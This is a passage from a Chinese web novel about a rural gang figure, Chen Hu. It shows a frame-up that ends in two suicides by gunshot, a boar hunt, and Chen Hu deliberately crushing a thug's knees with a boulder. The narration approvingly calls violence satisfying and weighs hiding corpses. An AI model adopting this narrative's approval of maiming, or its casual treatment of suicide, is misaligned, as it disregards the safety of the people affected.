到了那户门前,成枝豹直接就一脚踹开房门,冲了进去。 下一瞬,只听到“砰”的一声枪响传出! 成枝豹手底下的一众马仔们,随后都陆陆续续的挤进了那户人家院子,映入眼帘的是持枪的成枝豹,以及倒地的尸体和满院子的鲜血淋漓! 此时,成枝豹神色之间,满是慌乱。 他痴痴地看着地上的那一滩血迹,以及那具还热乎的尸体。 最重要的是,地上的那具尸体在上一秒,还是一个活生生的人。 在那男人尸体的手里边,此时还反手握着一杆猎枪。 这把猎枪是市场上最为粗制滥造的那类火枪,而现在,那男人手里的猎枪的枪口,却是正对着成枝豹。 想到刚才的那一幕,成枝豹的身子就不由得一阵微微颤抖,豆大的汗珠很快就从他的额头上面滴落。 刚才,成枝豹进入院子后,其实并没有开枪! 而院里头的那男人,在见成枝豹进来之后,竟然连半个字都不说,直接就拎着枪,冲着他自己的胸口,开了一枪! 成枝豹疯狂喘息着,努力平复情绪,眼神认真地在身旁的一堆马仔们的脸上扫视。 他在寻找那个报信,并带他来这里的那个马仔! 成枝豹自然不是傻子,眼前的这一幕很显然是有人在设计陷害他! 可惜,不等成枝豹寻到那马仔的身影,一阵刺耳的警笛声顿时就响彻了整座院子。 成枝豹紧咬牙关,看向四周,就在他紧张的打算找地方逃跑时,却见到外面的警察们已经一拥而入了。 一开始,成枝豹手底下的那些个马仔们还想起哄,借着人多势众,给警察压力。 但谁料,这群警察都荷枪实弹,直接朝着天上放了一枪。 而后,为首的一名警官直接拎着一个喇叭,大喊道: “所有人全都放下武器!我再重申一遍,所有人放下武器!我数到三后,还没有放下武器、双手抱头蹲下的,我们会直接开枪!” 子弹的震慑,再加上那身亮眼的黑白色服饰,顿时就让得成枝豹的一众马仔们都没了脾气。 很快,开始有一个人扔掉了手里头的砍刀或是钢棍,接着,陆陆续续的,所有人都扔掉了手里头的武器。 那些个钢棍和砍刀落地的声响乒乒乓乓的,很快就白花花的铺满了地面。 成枝豹看着眼前不过才在半分钟内所发生的一幕幕,顿时彻底心如死灰! 他紧紧握着手中的猎枪,搜寻了半晌,却并未在人群之中,找到那个报信的马仔。 此刻,跟着他来的一众马仔们,都抱头蹲了一片,满地都堆满了砍刀、钢棍,只剩下他一个人孤零零的持枪,在原地站着不动。 警告声再度响起,成枝豹却双眼空洞,没有理会。 在这短短的一瞬间,成枝豹先是想到了是谁给他设了这个局。 或许是司宫背后的司家,或许是马加爵堂口的弟兄,对他们而言,买通又或是威胁一个人用命来栽赃自己,并不是什么难事儿…… 这般多的人证,还被现场抓获,成枝豹很清楚,他肯定必死无疑,吃枪子儿是跑不了了,也许靠着审判还能够耽搁一些日子。 下一瞬,在十几名警察用黑洞的枪口对准他时,成枝豹又想到了陈虎。 也许陈虎……不,是陈虎背后的孙家能救自己? 这个念头,在成枝豹的心中,一闪而逝。 但成枝豹很快就打消了,他明白这是妄想! 就算陈虎愿意救他,孙家也不可能顶着这般多的人证,以及现场抓获证据确凿的情况下,救出他的。 这是一个不算高明,却又无解的死局! 下一瞬,成枝豹便举起了他手中的那把喷子,然后反转枪口,对准了他自己。 或许与等待审判他被宣判死刑,并在执法前还要等待着对死亡的无尽畏惧相比,他自己动手了结自己的话,同样是个不错的选择! 见成枝豹的这番举动,周围的警察们开始劝说成枝豹放下枪。 成枝豹能够听到他们的声音,但他的耳朵里面,早已经一阵耳鸣,让他神情恍惚,无从理解那些警察们在说些什么。 成枝豹的脑海之中,开始走马灯似的,闪烁过他这一生的诸多画面。 画面变换到最后,定格在一张青涩、稍显稚嫩,但对方那一对招子却深不见底的脸庞上,那是陈虎在冲他微笑的面孔。 砰! 又是一声枪响,声音响彻云霄。 这一枪在将成枝豹,这位豹爷打回原形、打碎他近几日来的美梦的同时,更穿过了他胸前的肋骨,彻底葬送了他无趣且乏味的一生。 …… 另一边,陈虎通过沼泽地的蛛丝马迹,很快就寻到了一处烂泥塘里头,正活跃着的一窝野猪。 其中有两头半大的野猪,以及一窝小野猪。 显然,这是一对年轻的野猪父母,以及它们才几个月大的野猪宝宝。 它们在烂泥里面打滚,玩儿得不亦乐乎,陈虎则带着包专藏匿在烂泥塘不远处的一处密林里面,静静候着。 包专见到野猪的第一时间内,就显得格外兴奋。 但他刚举起弓弩瞄准,就被陈虎抬手阻止。 看到包专一脸不解的样子,陈虎随即缓缓解释道: “急不得!面对你的对手,如果你对你的对手没有全面的认知,没有足够的把握就动手的话,那你是会栽跟头的!” 说话间,陈虎却是突然顿了顿,然后莫名的一笑道: “不知道咱们这位豹爷有没有想明白,他去了马关口后,将要面对的都是些什么人呢?” 听到陈虎突然提及豹爷,包专顿时面色一变,然后轻咬着牙关,脸上满是犹豫之色道: “虎哥,豹爷他……不会出什么事儿吧?” 陈虎闻言,呵呵一笑,然后满不在乎的说道: “你要是惦记他的话,我想要不了多久,就可以去他的坟前祭拜了!” 包专闻言,脸上有些不解道:“虎哥,豹爷一定会死吗?他就不能退下来,尽管爵爷的事儿……” 陈虎这时候直接打了个响指,打断了包专的话,然后意味深长的开口说道: “一定的!不用怀疑!依照我规划的情况,成枝豹他撑不过一个月的,但他却能够帮我分化、打乱马关口的地下产业。” “到了那时候,很多事情就会变得十分容易处理了。” “你既然关心这事儿了,那我与你说道一二,倒也无妨。” “成枝豹的死,只怪他自己太贪了!” “从一开始他选择的站队就不难看出来这一点,而之后他敢去顶替马加爵的位置,接手马加爵的产业,也是同一个道理。” “贪婪是人的共性!” “它本身并不可怕,但可惜的是这世界上有太多人没有一个清晰的自我认知。” “他们如果不能把欲望关进牢笼,那终究是会被欲望给关进笼子里面的。” …… 第142章 人首先要认清自己,而后才要认清敌人! 沼泽的烂泥塘是野猪扎窝的地方,发臭的烂泥是它们天然的护肤品。 陈虎和包专两人,在桦树林背后一直悄无声息的藏匿着。 约莫等待了半个钟头后,眼瞅着那群野猪从沼泽烂泥塘里爬了上来,嗅着四周的气味,往树林里面走,陈虎这才招呼着包专动身。 这群野猪长得都不肥,哪怕那两头半大的野猪,估摸着应该也就接近两百斤重,其余的野猪都是些三、四十斤重的小猪仔。 野猪通常来说,体型比起家猪稍小。 当然,前提是同年份的情况下。 毕竟,家猪吃的是粮食掺杂野草,以及一些个米糠,或者剩饭剩菜什么的,并且顿顿管饱。 而野猪却是杂食性动物,它们的食谱十分广泛,可受限于野外获取食物的成本大,再加上它们满山跑所耗费的热量,它们自然也就不会有家猪那般肥硕。 不过,相较于某些地区喂养的畸形肥胖的家猪,野猪的肌肉线条显然看着更硬朗,也更流畅。 这就和运动量以及进食相关了,当然,细分这些倒不是陈虎吹捧野猪肉有多美味,实际上没经过人工干预培育,再加上没有进行阉割,野猪的味道可不一定比得上家猪。 但对于眼下的陈虎,或是这片山林里面的所有的猎户们而言,他们自然是不会去计较这些的。 一头野猪哪怕再瘦,但它身上的肉,随随便便都是一户三口之家两个月的口粮! 这种饭都吃不饱的时候,谁会嫌弃野猪肉有腥味? 陈虎带着包专跟在那群野猪的后面,一直顺着白桦林走了约莫一刻钟的功夫。 在陈虎的示意下,包专也尽量小心翼翼前进,努力不发出任何动静。 并且,陈虎和包专二人一直保持着和那群野猪超过百米的距离。 若非经验丰富的陈虎,一直盯着那群野猪的动向,换了其他人这么跟着,只怕早就跟丢这群野猪了。 最终,这群野猪在一处茂密繁杂的灌木中,停了下来。 陈虎仅仅是远眺一眼,便抬手示意包专停下脚步。 紧接着,陈虎便招呼包专,一并朝着北边走了一段距离,二人最终在一棵看上去近乎百年树龄的古树下,歇息下来。 刚远离那野猪群,包专便好奇问道: “虎哥!干嘛不让我直接动手?就那两头半大的野猪,我一手一个就能拎起来!” 陈虎闻言,没好气的望向包专道: “你能单手拎起来两百斤的货物?” 包专听到这话,直接撸起袖子一阵讪笑,神色之中颇为得意道: “虎哥,不是我黑狗自大,搁这儿给你吹嘘!说真的,两百来斤的东西,我自个儿拎起来是费劲,但走个十米、八米的,还是没啥问题的!” 陈虎看着包专这厮那魁梧的身躯,以及他壮实得像头棕熊的块头,不由得更显无奈,随后轻笑道: “你能拎起来两百来斤的东西,我勉强可以相信。可黑狗,若是让你单手对阵一个近两百斤的人呢?” 包专闻言,若有所思一阵,接着果断摇头道:“虎哥说笑了,就是大家都赤手空拳,他只要抱住我的一只胳膊,我自然是没招。当然,有武器的话,倒是可以试试看。” 陈虎看着眼前的黑大个,顿时感到又好气又好笑,只得耐心的解释道: “杀过鸡没?像是鸡鸭被割断了喉咙,光是它挣扎的那个力道,手劲小的人一时之间,都把握不住。” “动物的生命力很顽强,特别是遇到死亡威胁的时候。” “你小子有点儿蛮力不假,但人首先要认清自己,而后才要认清敌人!” “那两只野猪加一块四百来斤重,要是打死了,你咬咬牙倒是搬得动。可它们活蹦乱跳的,你敢过去挨它们撞一下?” “你信不信,等会儿我朝着其中一头野猪开一枪,就算子弹打中它的脑袋,那畜生还是能够一头就给你撞倒在地,让你半晌都爬不起来的?” 静静听完陈虎的讲述,包专这才后知后觉的反应过来。 随即,包专只得尴尬的摸头憨笑道:“虎哥,那眼下咋办?我听你的命令,你吩咐我动手就成!” 陈虎望向野猪窝方向的干黄灌木,双眼微微眯起,接着就抬手打了个响指道: “等会儿,你拿着猎枪去野猪窝东边的林木线守着,最好是找棵树啥的,又或者寻个高处蹲守好。” “我会将这群野猪朝着你的那个方向驱赶,你在那边给我好好守着。等到你见了这群畜生之后,你千万别给我省子弹就行了!” “记住了,千万要找个制高点!” “我给你二十分钟的时间,二十分钟后,你必须要找到位置守着,小的野猪你开不开枪都没有关系,但大的野猪你要是给我放走一头,那你小子就等着回去自个儿掏腰包给我补上吧!” 陈虎语气轻快简洁的交代完一切,接着便抬手,拍了拍包专的肩膀。 包专闻言,当即直拍胸脯保证道:“虎哥,你就把心放肚子里面吧!要是我给那两头大猪放跑了没逮到,回去之后,我自个儿替它们下锅!” 陈虎见包专一脸认真的模样,不由得没好气的抬腿踢了这厮一脚道:“赶紧滚过去守着!没个正形,还你替那两头大猪下锅?是觉得老子愿意去尝你这身臭肉吗?” 包专见此,不禁嘿嘿一笑,然后就接过陈虎手中的猎枪与短刀,接着按照陈虎的吩咐,朝着北边林木线小跑过去。 陈虎看着包专的背影,又看了看他手中仅剩的那一把连发弩,眼中当即闪过一抹精光,紧接着,他一边算时间,一边朝着野猪窝南边临近沼泽地的位置赶去。 不多时,陈虎在一处灌木之中,隐匿下了身形,而后静静等待着约定的时间到来。 就在陈虎不远处的灌木之中,那一窝野猪正百无聊赖的躺在干草上,不时地发出“哼哼唧唧”的声音。 二十分钟的时间一到,陈虎当即就深吸了一口气。 紧接着,陈虎拿起了一片树叶,继而吹响了一阵尖锐的口哨声。 声响传荡在林间,不断回响,很快就引起了野猪们的警觉。 它们眼神诧异地望向发出声响的方向,耳朵微动,一双小眼睛眨巴眨巴个不停,见这口哨声不断,不由得开始一阵躁动,纷纷起身,嘴里也依旧发出“哼哼唧唧”的动静。 下一瞬,一道破空声传出,一支弩箭“嗖”的一下子,便射入了猪窝里头。 树叶被陈虎吹起的口哨声,很大程度干扰了野猪对于弩箭声的捕捉和判断。 等到弩箭靠近时,一切就已经晚了。 只见得,那支弩箭射入猪窝里头后,一头大猪的前足顿时就中箭了,它当即就发出了凄厉的惨叫声! 随着这头大猪的惨叫声传开了之后,这群野猪们纷纷变得躁动不已。 有的小猪害怕得连忙围拢靠到了大猪的身下,有的小猪则是被吓得四散着跑开。 然后,那“嗖”的一声,又传来了。 只见,又有一支弩箭,自灌木之中,激射而出。 这一箭,直接命中了另一头成年野猪的鼻腔,并且直射穿透了那头野猪的半张脸! 另一头受伤的成年野猪的嘶嚎声更甚,它的声音比之前受伤的野猪叫得响得多了。 躲在暗中的陈虎,并没有犹豫,接着又是一箭射出。 并且,陈虎嘴上衔着的那片树叶,又再度吹响了那刺耳的口哨声。 嗖! 这一箭,命中了一头小猪。 箭矢穿过了那头小野猪的身体,直接将它扎在地上。 而被弩箭穿透身体的小野猪,却并未直接咽气。 随着身下的血流不止,它却是硬生生的站了起来,然后那头小野猪就依靠它自身的重量,压断了那支穿透它身体的弩箭! 第143章 好生凶猛的畜生! 在那头小野猪咽气之后,这下子,林中可算是彻底热闹开来。 野猪的嘶鸣声不止,而陈虎还在持续性的吹响口哨。 最终,剩下的那些野猪并没有朝着陈虎的方向冲来,面对未知的威胁和现在已经造成的伤亡,在两头受伤大猪的带领下,这一窝野猪开始朝着陈虎预定的方向跑去。 守株待兔许久的包专,此刻正聚精会神的蹲在一根树杈子上。 听到逐渐接近的野猪嚎叫声,包专当即就举着枪,瞄准了下方,神情之间,满是兴奋之色! 狩猎这件事情,仿佛是刻在了男人骨子里面的东西,任何男人都无法拒绝野外打猎。 包专自然也不例外,这是他第一次进山打猎,所以此刻的包专兴奋异常! 随着野猪嘶吼的声音逐渐靠近,包专很快就看到了那一只只皮毛黝黑又掺着白花色的杂毛的野猪,正急匆匆的朝着他的方向,狂奔而来。 包专微微眯眼,屏住呼吸,然后瞄准底下的野猪,下一瞬,只听见“砰”的一声巨响震彻了整片山林。 无数的鸟儿顿时就惊慌失措的扑腾着翅膀,四处乱窜。 树底下那头上挨了陈虎一根弩箭的野猪,顿时脑袋开花,血淋淋的跑了没几步,就直挺挺的倒在了地上。 包专见此,没有丝毫犹豫,紧接着又开了一枪,这一枪却是打中了另一头前足中箭的野猪的脖颈。 随着红色的液体飙射而出,包专正兴奋之时,却又陡然瞧见那脖子上挨了一枪,前足上还插着一根弩箭的野猪,竟是直勾勾的朝着自个儿的方向冲来。 这头野猪都受伤到这种程度,竟然还没毙命! 并且,很明显,这头野猪被彻底激怒了,它也不再奔逃,反倒是挺着脖子,冲包专所蹲着的大树冲来。 而后,这头野猪直接用它的脑袋,硬生生的朝着树干撞击! 包专被这一幕吓得不轻,短暂失神之后,他反应过来,又不禁冷笑着望向那头野猪道: “好生凶猛的畜生!老子倒要看看,你到底有多大的能耐!” 说罢,包专便不顾整颗树摇摇晃晃,端起枪口,就再度瞄准了树下的这头野猪。 旋即,枪声再次响起。 这一枪,包专结结实实的打到了这头野猪的脑袋。 这头野猪随后也没能耐再撞击这棵树了,它倒地之后,“哼哼唧唧”个不停,身子也是一阵抽搐。 包专见状,当即就纵身一跃,直接从树上跳了下去。 而正当包专兴致盎然的打算检查他的猎获时,上一秒才倒地的野猪,并没有死透,它这时候竟然直接突兀的窜起了身! 而后,在包专尚未反应过来之前,这头野猪就撅着脑袋,直接就朝包专冲了过来! 包专慌乱之中,直接就一把扔掉了他手中的猎枪。 现在换弹再射击,显然是来不及,他只得抽出腰间的短刀,胡乱的挥舞一通。 可野猪已然到了他面前,而他的那把短刀并未发挥出什么作用。 下一瞬,包专只觉得他的腹部一阵剧痛,紧接着,他连闷哼一声都来不及,整个人就直接飞了出去。 也不知是过了多久,包专迷迷糊糊的睁开眼,顿时,一股扑鼻的臭味迎面而来,让得包专一阵恶心。 当然,比臭味扑鼻难受的,还要属他腹部的疼痛难忍。 包专缓了半晌,这才堪堪坐起身,接着猛地倒吸了一口凉气,咬牙挺着,望向周围。 之所以会有臭味,是因为包专的头,此时正枕着一头野猪。 这头野猪的周身,除了血迹,就是烂泥,自然味道呛鼻。 而后,包专就见到了陈虎在前面,将拖车给拖了过来。 等到陈虎到了他的面前,放下拖车后,陈虎就在第一时间内,冲着包专皱眉道:“怎么?我说的话都成了耳边风呢?堂堂一个大男人,竟然给一头野猪撞得晕了过去,你小子倒也不觉得丢人!” 包专闻言,脸上不由得一阵发烫,他挣扎着站起身来,满脸不自然的解释了方才所发生的一切。 陈虎听了他的话后,也是有些无奈的耸了耸肩道:“能打中也算不错了!挨了这一下子,也算是给你小子长了点记性,撞得咋样?影响不?” 包专闻言,当即讪笑着摆手道:“不碍事!不碍事!虎哥,你不用动手,我这儿一手一个,就能把这畜生扔到车上!” 陈虎听到包专这话,不由得挑眉抬手示意。 包专见此,也不废话,直接上前展示。 只见,包专这厮竟是当真两手并用,一手提起一只野猪的猪腿,然后两手直接就拎着两头野猪离地半米。 紧接着,包专脸色涨红,紧咬牙关,往前走了两步。 当然,包专这一手二百来斤的野猪的重量,显然不是摆设。 很快,包专就坚持不住,直接把两头野猪放回地上,然后弯下腰,大口喘着气。 陈虎见此,不免苦笑出声道:“得了!别展示了!我搭把手,咱们收拾完,还能趁着天色尚早,尽快下山!” 包专闻言,当即尴尬摸摸头,连连称是。 不多时,二人便将所有的猎物,一并用藤条紧紧绑在了这辆拖车上。 共计有四头野猪,其中两头大野猪共计重量得有四百来斤,而剩下的两头小野猪一头约莫三十来斤,一头则有个五十斤左右。 刚才陈虎驱赶着野猪群往包专这边时,又在后面用弩箭解决了一只小野猪。 至于其它的野猪,却是全部都跑散了,猎获不到了。 好在,两头大野猪都猎杀了,对于其它的小野猪,陈虎也就无所谓了。 况且,打猎不能斩草除根,否则的话,说不定野猪绝迹,陈虎明年就没得野猪猎了。 望着这些头野猪猎物,包专两眼放光,满心欢喜出声道: “虎哥,这么多的野猪肉,怕是摆着吃都足够一户人家连着一年吃肉,顿顿不少荤腥了!” 陈虎闻言,点了点头道:“刚好四头野猪,你带上一头大的回家,一只小的今晚叫上人一块儿聚个餐,剩下的一大一小我留着。” 陈虎这分配顿时就让得包专一阵恍神,他听了陈虎的话,愣了片刻后,这才有些不确定道: “虎哥……你是说,这野猪分我一头大的?” 陈虎听到包专的话,挑眉看向包专,有些不解的问道: “有什么问题吗?多一头小的我打算处理下送人,你觉着吃亏不是?” 包专闻言,连忙摇头否认道:“不是!不是!虎哥你看你说的,我的意思是我这次进山就出了点劳力,都是虎哥你带着我找到的这儿,我就跟着搭把手,都能拖着这两百多斤野猪肉回去,我这儿心里头实在是有些过意不去,要不虎哥我就拿头小的回家吧?” 笑话! 他包专敢不知足吗? 一头两百来斤的野猪,卖出去买粮食都够一家三口吃上两、三个月了! 别看先前包专在赌场里面守着,不时得也能出去收些水钱,说到底一个月拿的月钱,也就只够他家里头四口子吃喝。 就这样,他家里头还经常三、五天见不到什么荤腥呢! 可放到包专家里头所在的那一片地方,他们家已经算是过得十分可以了! 眼下,包专跟着陈虎还没几天,出点力就能直接带上两百多斤肉回家。 这简直就是一个天上,一个地下! 他包专在赌场里面拿三个月的月钱,再加上他自个儿吃拿卡要一些,那也挣不来一头野猪啊! 因此,包专刚刚才会有这一副吃惊的德行。 第144章 老子就不信他们这么能打! 陈虎听了包专的话后,也算是明白了他脑袋里面在想什么。 不由得,陈虎上前拍了拍包专的肩膀,一脸随和的笑道: “不要想那么多!既然你跟了我,那我自然不会让你混得不如以前的,你这次出力不少,拿着就是!” 包专闻言,一时之间,心头忍不住思绪万千。 最后,包专咬了咬牙,重重的点头,却没有再对陈虎说什么漂亮话。 毕竟,先前包专说的漂亮话已经不少了,很多人、很多事,很多恩情……记在心里就好。 而且,说多了也矫情。 对他包专而言,很多时候,他觉得嘴说得不顶用,得靠做才顶用! 山间无岁月,午后已过,稍微再拖延一会儿,那就说不定就到晚上了。 陈虎也不再耽搁,手持短刀在前开路,包专则拖着拖车跟在陈虎后面,两人急赶着往山下而去。 初春的午后,阳光透过稀疏的树梢,洒落在山林中,仿佛给每一个角落都裹上了一层金色的薄纱。 尽管气温依旧寒冷,微风中夹杂着雪融化后清新的气息,让人感到一丝清凉与活力。 山间行走困难的小径,在阳光下显得格外明亮,但时不时显露出来的一层未完全消融的冰霜,都提醒着人们春天虽然来临了,但却还未完全驱散冬日的寒意。 陈虎与包专两人在这温暖而略显寒意的午后,为了保证不出意外,正缓慢而坚定地拖着那一辆满载猎物的拖车回家。 车轮在泥土与落叶之间发出轻微的“咯吱”声,两人着急赶路,额头上面都已经渗出了一层细密的汗珠。 这条下山的小路,两旁是参天的松树,枝叶仿佛还在酝酿着新绿,树根下的泥土也已经因为融雪而变得松软,处处都透出新的生命力。 偶尔可以看到几朵不知名的小花,在林间露出头来,带着春天的气息,像是为这块初醒的土地,增添了一抹色彩。 到了相对开阔容易行走的山道上,陈虎与包专两人便加快了速度,急切地赶着路。 阳光透过刚刚发芽的树叶,洒下温暖的光辉,山道上的泥土已经解冻,露出了久违的土色。 相比于冬季的厚重积雪,初春的山道走起来清晰顺畅,只有高耸的山顶还仍有冰雪残留,这让陈虎和包专两人的脚步得以更加轻松的前行。 山间的空气清新,带着淡淡的花香,欣欣向荣的万物,让人心中一阵欢愉,这让得陈虎的心中,不禁回想起那无情的寒冬,尤其是大雪封山时的恐怖场景。 比起眼下,那时漫天的白雪,如同巨大的水银罩,将所有的山道都吞噬得无影无踪,冰冷的空气刺骨,连呼吸都显得困难。 一旦有厚重的大雪压弯了树枝,那断裂的声音在静谧的山林之中,就显得格外清晰,仿佛每一步都在挑战生存的极限。 如今,随着春季的到来,山道恢复了生命的气息,陈虎感到脸上渐渐溢出的热意,也是不禁松了一口气。 最起码,现在的陈虎不会因为耽搁了赶路的时间,而被困在山上了。 陈虎和包专渐渐走出了群山,心中不由得松了一口气,却忽然感觉到了周围有些不对劲。 就在陈虎和包专二人转身的那一刻,前方的道路上,那吴跳的身影骤然显现。 与此同时,吴跳的身后却是跟着十数名气势汹汹的手下,他们个个手持钢棍和柴刀,目光如饿狼般锁定了陈虎。 “陈虎!” 吴跳大声怒吼,声音撕裂夜空,伴随着一股浓烈的怨恨和仇恨。 他脸上的红肿淤青,显得触目惊心,似乎在提醒着在场的每一个人——他不久前刚刚挨了一顿毒打! “你还敢追上来?是不知道‘死’字怎么写吗?” 陈虎冷漠的目光望向这群来者不善的混混,而后交叉双臂,面带冷笑的看向人群中的吴跳,冷声说道: “再说了,你的这身打扮还真是让人难以恭维!怎么?你准备继续当小丑了吗?” 吴跳闻言,气得胸口起伏,嘶哑着声音道:“今天我是不会放过你的!都给我上!给我狠狠地打!” 话音未落,吴跳率先冲向陈虎,手中的钢棍挥舞得犹如暴风骤雨般一样,直逼着陈虎而去。 “别急!先让我接待你!” 陈虎轻松地侧身避开,随即用力一拳轰出,正中吴跳的腹部。 吴跳腹部突然遭受重创,不禁闷哼一声,连连后退了几步,他那布满怒意的那张脸,顿时就惨白了几分。 包专见状,也是没有丝毫迟疑,壮实得像黑熊一般,却动作敏捷的迅速跟上,朝着他最靠近的敌人发起了猛攻。 他的拳头如烟火般绚烂,仿佛每一次出击,都带着熊熊燃烧的火焰,丰富的打斗经验,让得他瞬间便将好几个对手击倒在地。 吴跳的手下们见状,不由得慌乱地试图冲上来围攻包专,但他们却被包专如同猛虎般的身形所震慑,脚步犹豫不前。 看到己方吃瘪,吴跳的脸色越发阴沉,咬紧牙关,十分不甘大喊道:“兄弟们,今儿咱们必须要干废了这两人!他们敢在老子下河村的地界闹事,当真是不要命了!” “我只说一遍,今儿敢上前一步的,不仅是当下,往后在这地界也都讨不了半分好!”陈虎在吴跳大喊威胁之后,毫不犹豫的跟着冷声大喝。 与此同时,陈虎的眼眸之中,也是闪烁着一股凌厉的寒光,毫不掩饰他眼底对于吴跳这群混混们的轻蔑之色。 在陈虎的挑衅之下,一名吴跳的手下终于按捺不住,举起了他手中的钢棍,直奔着包专,冲了上去。 但下一秒,他就被包专给一个侧身,施展出灵活的身法,轻松躲过了他的攻击,并且反手一拳,将其直接打倒在地。 “虎哥,这群后生不知道啥成分,保不齐就是来送菜的!”包专的嘴角,勾起一抹嘲讽的笑容,他一边说着,一边身子如同一阵旋风,再次向着面前的这群混混们发起猛攻。 吴跳见此,愈驱愈怒,他指挥着手下,口中不断咒骂,试图稳定他手下们的士气,急迫大喊道:“别怕!都他娘是一个脑袋两个胳膊的,咱们一起上!老子就不信他们就这么能打!” 其实,吴跳的心中也明白这是他最后的机会。 若是他没能把握住,那他将彻底失去威望与号召力。 要是他们这伙人,在他吴跳的领导下,就这么被陈虎带着一个人轻松打跑了,那他手下的这群混混们肯定是会觉得他吴跳没用,到时候直接甩了他另寻山头投奔,甚至于内部选出更好的头领,直接另立门户了。 虽然吴跳手下的这群混混们,多的是沾亲带故的邻里亲朋,都在一张桌上大口喝酒,并且还极力奉承着吴跳,一声声“跳哥”的喊着。 但真要是遇到了事儿的话,他们也是变脸比翻书还快,才不会念及他们曾经的“酒肉兄弟情”的。 他们不过就是一群连拎着菜刀,火拼互殴都很弱的底层混混们。 实力弱的他们,为了生存,很多时候是不讲信义的,完全丢了江湖人士最看重的“义气”。 毕竟,都已经没钱吃喝过日子了,谁还会去讲江湖道义? 如果吴跳真的不行了,那他们今日之后,也就得另谋出路了。 此时,他们与陈虎、包专的战斗还在继续。 面对陈虎与包专两人如同台风般的进攻,吴跳的团伙就像是一场即将崩溃的洪流,纷纷后退,恐惧与绝望如潮水般淹没了他们的心。 最终,随着一声怒吼,吴跳的最后一名手下被包专直接一记重拳击倒后,吴跳的脸色当即就变得苍白无比,他的情绪彻底崩溃,开始退缩。 此刻,吴跳已经再也没了找回被陈虎毒打的面子的想法,甚至于,他现在还想着要不要直接就趁乱溜走呢! 第一卷 第145章 用暴力解决问题,真的很爽! 当然,并不是吴跳有这种想法,他的那些在陈虎和包专二人手上吃过苦头的手下,此时也都想逃跑了。 “你给我站住!” 吴跳看向一个挨了陈虎一脚后,便灰溜溜扭头跑开的青年,扯着嗓子无力地大喊。 除了愤怒,他的心中渐渐的充满了惶恐与无助,直到他心中刚才萌生的想法,彻底决定了。 眼瞅着陈虎与那黑汉子像是收拾小鸡崽一般,将自个儿弟兄们打得抱头鼠窜,吴跳不由得也萌生了先离开的想法,当即就埋着头,打算先行一步。 “想走?没那么容易!” 陈虎盯着那埋头退缩的吴跳,步步逼近,声音之中,带着一份冰冷的威严道:“今天你若是不服气,那你以后也别想安生!” 吴跳明白,他自个儿没有退路。 他只能咬牙切齿地咬紧手中的钢棍,虽然他的心中充满不甘,但他却也知道,他今天算是栽了! 此刻,他招呼来的一众混混都已然被打得四散逃走,仅剩下他一个人,独自杵在原地,他正打算开口说些什么,包专却是直接上前,一巴掌呼在了他红肿的脸上。 陈虎见此,不由得无奈的摇了摇头,然后走上前,满脸嘲讽的笑道: “啧啧啧……你倒是有些威望,还能叫来这么多人?可惜,一个能打的都没有!真是浪费老子的时间!” 针对吴跳这类人,陈虎下手也懒得区分轻重,示意包专闪开之后,直接搬来了一块巨石,而后狠狠地冲着吴跳的两条腿上砸去! 巨石落下的瞬间,吴跳顿时感觉整个世界都在旋转,耳边的轰鸣声如潮水般涌来。 他一阵头晕目眩,强烈的痛感如潮水般涌上心头,仿佛连心脏都被猛然撕扯。 此刻,他只觉得自己被无情的命运推向了深渊,身体的每一寸都在呐喊。 他微微侧头,只见陈虎脸色冷峻,似乎决心已定,完全没有丝毫的怜悯。 而后,吴跳看见陈虎竟然再度冷静地走向一块巨石,身上散发着冷冷的杀意。 在这一瞬间,吴跳的心中,不由得涌起了一股强烈的恐惧。 他试图爬起,但他的身子此时被沉重的石头压制着,几乎动不了分毫。 一股无助感,开始在吴跳的心中蔓延,令他感到窒息。 “虎哥,别!” 包专害怕的大喊,他生怕陈虎狠辣到直接要了吴跳这混混的性命,可包专也不敢有多余的动作,只能站在边上静静的看着。 阻拦陈虎? 再给他十个胆子,他也不敢! 下一瞬间,陈虎便举起石块,梅开二度地朝着吴跳的两只膝盖砸下。 既然要做,那就做绝一些! 杀鸡儆猴,无非如此! “不要!” 吴跳拼尽全力,喉咙中发出了嘶哑的吼声,但一切都似乎来不及了。 巨石狠狠的砸下,带着疯狂的力量降临,空气之中,随即传来一声震耳欲聋的巨响,仿佛整个山坳都为之颤抖。 吴跳的哀嚎声如鬼哭狼嚎般,穿透了山林,回响在青翠的树木间,令人心悸。 对于陈虎而言,这吴跳第二次出现在他的面前,若是不加以手段,只怕往后类似的事情会更多的。 再加上他对吴跳这厮极其厌恶,陈虎自然也就没有半点儿留情。 也许用暴力解决问题不可取,是最低端的方式。 但不可否认的是,用暴力解决问题,真的很爽! 夕阳渐渐西沉,映照着山谷中陈虎的身影。 有关吴跳这小丑行径的插曲,随后便被陈虎和包专二人给抛掷到了脑后。 很明显,像吴跳这种不务正业、坏了良心的混混,带上一群乌合之众就来寻他陈虎的麻烦,想要找回场子,完全就是一种搞笑的小丑行径! 二人在留下半死不活的吴跳之后,就迎着落日余晖,往山下赶去。 陈虎也不怕后面出什么问题,总归吴跳没死,最多也就是腿废了而已。 就算吴跳家里人想通过司法部门,走法律程序来找他的麻烦,以他陈虎现在的身份地位,也完全不怕他们,甚至于吴跳家里人能不能告得了他都难说。 反正,陈虎刚才对吴跳动手,也是刻意保证不会让吴跳直接死了的。 毕竟,吴跳真死了的话,那事情的性质就变严重了。 要是陈虎能像他之前与马老三一起藏王二、王胜父子和朱明三人的尸体一样,把吴跳的尸体藏好,那陈虎也不介意让包专在他的面前也交一份见血的投名状。 但很显然,现在藏尸体很难了。 之前大雪封山,漫山雪白,人影都看不到,再加上当时有野狼的帮助,让那三具尸体消失,并且不被别人发现,是很容易的。 可现在,雪已经化了,山上到处都可能有突然出现的猎户,想不被人发现去藏个尸体,那可太难了,因此陈虎哪怕刚才对吴跳使用暴力,但他依旧十分有理智的没有要了吴跳的命。 不过,按吴跳现在的情况来看,他以后就算活着,其实也都和死了差不多的。 …… 快到山下时,陈虎和包专两人拖着拖车,已经非常疲惫了。 包专出力较多,可哪怕浑身酸痛,满脸汗水,却也难掩他心中的喜悦。 毕竟,拖车上面的四头野猪里面,可是有一头大野猪是他的。 一想到那头大野猪,他就干劲十足。 他的步伐在林间小道上,显得格外轻快,仿佛早已经忘了这一天的辛苦。 路边的树木,随风摇曳,似乎在为他暗自欢呼。 毕竟,猎猪的成果,不仅是包专自己的辛勤付出后的收获,更是他将要回家与亲友共享的丰盛宴席。 “妈!你快来看!我哥回来了!” 小鼻涕虫陈真在家门口,就远远看到了陈虎,他兴奋地大喊,一双小手在空中挥舞,神情雀跃。 